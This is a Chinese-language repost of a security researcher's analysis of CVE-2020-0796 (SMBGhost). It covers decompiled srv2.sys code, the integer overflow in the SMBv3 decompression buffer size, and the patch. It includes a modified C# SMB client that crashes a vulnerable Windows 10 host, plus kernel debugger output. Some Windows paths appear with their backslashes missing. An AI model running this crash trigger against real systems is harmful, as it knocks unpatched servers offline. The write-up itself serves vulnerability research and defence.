powered by UnicodeSec
本文转载自 https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
这篇文章主要分析微软的 CVE-2020-0796,又被称为SMBGhost/Coronablue。主要影响SMBv3.1.1,目前微软已经发布补丁,请及时下载。
微软会向其“重要”合作伙伴发出警报。MSRC在2020年3月9日发布ADV-200005通告https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005 ([1])。
根据过去曾经分析过Wannacry的研究员@ zerosum0x0([2])的说法,该漏洞很难被发现,但是利用起来并不容易。与其他1-day的分析文章不同,我们不以二进制diff作为文章开头,当前并没有发布相应的补丁信息,因此我们需要仅凭直觉和经验来发现此错误。
情报来源
根据ADV-200005 安全通告,我们可以得到如下信息,例如影响版本等
Description
================
Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client.
Security Updates
================
Windows 10 Version 1903 for 32-bit Systems Remote Code Execution Critical
Windows 10 Version 1903 for ARM64-based Systems Remote Code Execution Critical
Windows 10 Version 1903 for x64-based Systems Remote Code Execution Critical
Windows 10 Version 1909 for 32-bit Systems Remote Code Execution Critical
Windows 10 Version 1909 for ARM64-based Systems Remote Code Execution Critical
Windows 10 Version 1909 for x64-based Systems Remote Code Execution Critical
Windows Server, version 1903 (Server Core installation) Remote Code Execution Critical
Windows Server, version 1909 (Server Core installation) Remote Code Execution Critical
Workarounds
================
Disable SMBv3 compression
*************************
You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below.
Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 1 -Force
根据该文章描述,我们可以得到3个重要信息。
- 该漏洞只影响 SMB v3.1.1,是SMB最新的协议,可能存在某些功能没有经过测试
- 只影响 1903和1909,这意味着 windows server 2019(177630) LTSC 版本不受影响
- 建议关闭smb 压缩功能
首先我们要知道smb服务的二进制文件在哪个位置。一般在C:WindowsSystem32driverssrv2.sys
,这是从学习分析wanncry学到的经验。
其次,我们要从特定版本的windows上获取srv2.sys。搭建虚拟机复制拷贝即可
srv2.sys 静态分析
将 srv2.sys加载到ida中,根据安全通告,与compress有关,所以我们主要查找与compression有关的函数名称。
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
Srv2DecompressMessageAsync和Srv2DecompressData这两个函数可能存在问题,该函数的同步版本函数比异步版本函数更易分析,我们来主要分析一下srv2!Srv2DecompressData函数
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
__m128i v3; // xmm0
__m128i v4; // xmm0
unsigned int v5; // ebp
__int64 v7; // rax
__int64 v8; // rbx
int v9; // eax
__m128i MaxCount; // [rsp+30h] [rbp-28h]
int v11; // [rsp+60h] [rbp+8h]
v11 = 0;
v1 = a1;
v2 = *(_QWORD *)(a1 + 240);
if ( *(_DWORD *)(v2 + 36) < 0x10u )
return 0xC000009B;
v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
MaxCount = v3;
v4 = _mm_srli_si128(v3, 8);
v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
if ( v5 != v4.m128i_u16[0] )
return 0xC00000BB;
v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
v8 = v7;
if ( !v7 )
return 0xC000009A;
if ( (int)SmbCompressionDecompress(
v5,
*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
MaxCount.m128i_i32[1],
&v11) < 0
|| (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
{
SrvNetFreeBuffer(v8);
return 0xC000090B;
}
if ( MaxCount.m128i_i32[3] )
{
memmove(
*(void **)(v8 + 24),
(const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
MaxCount.m128i_u32[3]);
v9 = v11;
}
*(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
Srv2ReplaceReceiveBuffer(v1, v8);
return 0i64;
}
这是ida反编译到c的结果。并不是很容易分析,但是,我们可以注意到两个问题。
- 函数体非常小,与“bug”描述相一致
- 函数只做三件简单的事,申请buffer,解压属于并拷贝到buffer
如果我们想确定该函数是不是存在漏洞的函数,我们需要更多信息,al
寄存器代表什么,攻击者还可以控制哪些字段???以下是三份关于smb协议的参考资料
- DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: [https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays Redmond 2019.pdf](https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays Redmond 2019.pdf) ([4])
- [MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
- Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
根据公开材料,我们可以了解更多关于smb的包结构。根据这些信息,我又重新命名一下函数中的相关变量
__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8
unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbx
int PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
int UncompressedSize; // [rsp+60h] [rbp+8h]
UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);
// Basic size checks
if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
return 0xC000090Bi64;
v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;
// Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,
offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
return 0xC00000BBi64;
// Nani ?? oO
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
__allocated_buffer = __alloc_buffer;
if ( !__alloc_buffer )
return 0xC000009Ai64;
// Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
Header.OriginalCompressedSegmentSize,
&UncompressedSize) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(__allocated_buffer);
return 0xC000090Bi64;
}
// Copy optional payload
if ( Header.OffsetOrLength )
{
memmove(
*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}
*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
return 0i64;
}
现在我们很容易就能看到存在漏洞的地方。
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
攻击者可以控制OriginalCompressedSegmentSize
和OffsetOrLength
这两个参数。OriginalCompressedSegmentSize
用来描述压缩前的数据大小,OffsetOrLength
用来描述压缩数据的长度或者片偏移,主要取决于是否设置flags变量,详情见图
OriginalCompressedSegmentSize
和OffsetOrLength
都为32位int类型数字,并且srv2!Srv2DecompressData用上述两个字段来控制分配内存空间。下面是反汇编
00000001C0017EB2 movq rcx, xmm0
...
00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD xor edx, edx
00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize
00000001C0017ED3 shr rcx, 20h ; OffsetOrLength
00000001C0017ED7 add ecx, eax
00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer
我们很容易可以发现,其中存在integer整数溢出。下面动态分析来触发漏洞
动态分析
为了检验我们的假设是否正确,我们需要两件事:
- 存在漏洞的服务器,这很容易设置,只需在系统上安装Windows 10 1903 或者 1909 Windows即可!
- 实现SMB v3.1.1压缩功能的SMB客户端,这实际上实现起来困难得多。
Samba/CIFS 官方声明说,由于它们未实现压缩功能,因此它们不受此漏洞的影响,并且通常第三方smb客户端例如,pysmbclient和impacket's smbclient均不支持压缩功能。我设法找到了功能完整的SMB客户端实现:https : //github.com/microsoft/WindowsProtocolTestSuites/
该代码库完全使用C# 编写,并由Microsoft用于测试协议一致性(因此,其功能涵盖面非常完整),是一个很合适我们测试POC的环境。老实说,该项目是Windows安全研究人员的宝库,项目中包括 SMB server/client, RDP server/client, Kerberos server, SMBD server等的完整实现。
尽管代码编写的很好,但是创建的包并不能触发漏洞,所以我们要修改一下代码来触发我们的漏洞
// .WindowsProtocolTestSuitesProtoSDKMS-SMB2CommonSmb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
/// <summary>
/// SMB2 Compression Utility.
/// </summary>
public static class Smb2Compression
{
private static uint i = 0;
/// <summary>
/// Compress SMB2 packet.
/// </summary>
/// <param name="packet">The SMB2 packet.</param>
/// <param name="compressionInfo">Compression info.</param>
/// <param name="role">SMB2 role.</param>
/// <param name="offset">The offset where compression start, default zero.</param>
/// <returns></returns>
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);
/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/
// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
if (i < 3)
{
i++;
return packet;
}
var packetBytes = packet.ToBytes();
var compressor = GetCompressor(compressionAlgorithm);
// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;
var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());
var compressedPackectBytes = compressedPacket.ToBytes();
// HACK: force compressed packet to be sent
return compressedPacket;
// Check whether compression shrinks the on-wire packet size
// if (compressedPackectBytes.Length < packetBytes.Length)
// {
// compressedPacket.OriginalPacket = packet;
// return compressedPacket;
// }
// else
// {
// return packet;
// }
}
}
}
namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{
static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };
// NEGOTIATION is done in "plaintext", this is the call within UserLogon:
// client.Negotiate(
// 0,
// 1,
// Packet_Header_Flags_Values.NONE,
// messageId++,
// new DialectRevision[] { DialectRevision.Smb311 },
// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
// Capabilities_Values.NONE,
// clientGuid,
// out selectedDialect,
// out gssToken,
// out header,
// out negotiateResp,
// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression
// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
// );
if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
return;
// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;
// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);
// trigger crash here
client.TreeConnect(
1,
1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");
BranchCacheDetector bcd = new BranchCacheDetector(
logger,
"DESKTOP-SMBVULN",
"DESKTOP-SMBVULN",
accountCredential
);
DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";
info.UserName = "Ghost";
info.Password = "Ghost";
TriggerCrash(bcd,info);
Console.WriteLine("Goodbye World!");
}
}
}
我们通过Smb2Compression.cs去向smb服务器发送看起来畸形数据包,看来我们触发了漏洞
以下为windbg结果
Breakpoint 3 hit
srv2!Srv2DecompressData+0x6f:
fffff800`50ad7ecf 48c1e820 shr rax,20h
kd> p
srv2!Srv2DecompressData+0x73:
fffff800`50ad7ed3 48c1e920 shr rcx,20h
kd>
srv2!Srv2DecompressData+0x77:
fffff800`50ad7ed7 03c8 add ecx,eax
kd> r eax
eax=7e
kd> r ecx
ecx=ffffffff
kd> p
srv2!Srv2DecompressData+0x79:
fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
ecx=7d
kd> p
srv2!Srv2DecompressData+0x80:
fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
srv2!Srv2DecompressData+0x85:
fffff800`50ad7ee5 488bd8 mov rbx,rax
kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`51a79580 cc int 3
kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool
TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f
rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000
rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f
r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d
r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
nt!RtlDecompressBufferXpressLz+0x50:
fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=????????
Resetting default scope
STACK_TEXT:
fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a
补丁
微软的补丁就是在Srv2DecompressData里面对上述两个Length做了检查.
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
//
//添加了对Header中Length的检查
//
if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 )
{
...
}
if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 )
{
...
}
if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 )
{
...
}
}
结论
总体来看,CVE-2020-0796是一个很容易发现的漏洞。但是完美利用利用它确实另外一回事:这是一个在windows 10 KASLR 保护机制下需要远程攻击的kernel exploit。最好的办法就是完全禁用这个功能。
参考文献
- https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
- "leaked" advance warning
- zerosum0x0 tweet, announcing the triviality of finding the bug
- Virtual Machines - Microsoft Edge Developer
- [DevDays Redmond 2019](https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays Redmond 2019.pdf)
- MS-SMBv2
- WindowsProtocolTestSuites